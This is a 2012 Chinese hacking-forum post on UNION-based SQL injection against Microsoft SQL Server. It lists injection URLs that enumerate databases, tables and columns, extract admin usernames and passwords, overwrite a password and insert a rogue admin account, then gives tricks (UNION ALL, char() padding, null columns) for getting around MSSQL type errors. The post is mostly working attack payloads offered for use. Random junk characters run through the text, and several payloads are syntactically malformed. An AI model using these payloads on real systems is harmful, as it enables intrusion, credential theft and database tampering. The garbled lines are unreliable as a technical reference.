找回密码
 立即注册
查看: 2630|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
爆库:+ ~) P6 ?% e) i" G' [* ~
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--6 }6 p7 W+ s0 Z* e" C# w# S
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
4 Y4 C  O5 X( K爆下一个库:) i' E' C4 A8 a! N
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--+ A0 Z& M- [* _* m! w

7 ]- h7 n5 i7 T. T- m爆表:
; G# K+ I4 p  O- S- }: W( v8 ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--. s% Y. A( L- q# i
  G& X* n6 X/ I( I% h5 p$ o3 s4 D
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.; _2 \" |% J5 h( ]9 |8 Y

5 H$ p1 f6 R; w6 f* d& Y0 r$ j8 y  j- J爆下一个表* }7 u* l$ J( e# I" z3 |% R- r9 E4 [
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--7 t! J* f+ d3 Q+ ?1 l8 d  D

! |+ g7 H6 o* {3 _# fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--6 P) V( [' ^9 ^' J" K. q7 s. [
. U) o* ^/ l5 N1 b0 v
. i' b8 K4 G, j; B- ^

6 R+ c" }2 T0 M- U爆字段:( j: S! n& m1 y
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--- k# Q; x. e/ Q0 S

4 e/ T0 r, b& U+ A+ v) S爆下一个字段- K7 k$ r% j$ L  B/ V$ b% o5 T* Q, |
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
! y& A2 ~& v. O" j, _' t( u2 B/ ?4 V. L: m0 u' [  U# \
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
8 ~8 O+ g- b2 a0 |  z! v% ]7 t/ N" |. _6 k4 `2 z- [9 a

1 r( v3 A4 |1 K& j2 v) C2 w爆字段里的内容
7 Y5 F1 z( N' J  I% J& }; f& fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
( T" P, z1 E# M& Z7 ]0 i! ?: e1 O) B' m. ?4 o1 U5 ^0 F
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--/ l8 p, y. A) {. J( K' Q* J' {; K- y( X! P
* G4 B9 Z9 h3 Q  h7 B/ F9 z' G( E# O
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--& |. V: ]: ]+ }

; k; o0 X. @! A& ^0 _! z! rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
) R3 a4 M0 M: e! f- n& h0 Y( H$ l* ^0 C6 ~
更新字段里的内容5 Y; \# I. [( o0 F* d6 d5 U8 D- ]' b
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--$ y8 G; @9 f. P6 E( J
/ k9 W, d* H/ B: s% h
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
; }9 P+ ~/ k8 Q! Q1 F) S+ c7 b* D! }5 g) _1 v& Q, N
1 Z5 m; w! u. M! [, t& ]: P

& i2 V2 o1 {1 `2 E. i* X3 _7 v        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。$ A# ~0 d, o5 S' [) R4 k4 c
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。6 K. U2 Y6 f* _1 ^# V3 a3 _
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。- y+ n0 f# b( I! O
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。8 d: L5 x+ B7 m# `, t- L& R9 c
6 k& O9 {7 t8 H$ Z
突了了大部份限制的语句
% c! B. X; ]4 s" M" gand 1=2 union all select char(49),char(50),null,null;--/ o, v# H4 i% f
: |$ s% J) x* ?5 z0 [

, Q3 @* \1 M' l" tnull也可以正常执行,不过没有回显,不好判断回显的列数。
( R6 r2 X% M( M- |一般union遇到问题都是有text或者ntext字段,image的很少遇到
8 |: `, M* x* @* @! h; i1 a/ b% \& ?5 \# T, {6 H' ~
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟7 y( }+ F7 U3 U2 w6 |  v  C
) F. g1 V7 _2 S, \, k

9 u2 K3 H5 q$ c% Q5 h6 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表